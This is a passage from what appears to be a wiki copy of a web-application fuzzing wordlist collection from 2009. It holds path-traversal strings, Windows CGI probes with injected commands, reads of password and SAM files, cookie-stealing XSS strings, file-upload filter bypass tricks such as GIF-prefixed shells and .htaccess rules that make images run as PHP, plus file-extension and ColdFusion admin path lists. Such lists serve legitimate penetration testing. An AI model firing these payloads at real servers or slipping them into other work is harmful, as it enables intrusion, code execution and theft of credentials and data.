/> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2009) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2009 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> <br /> <br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> 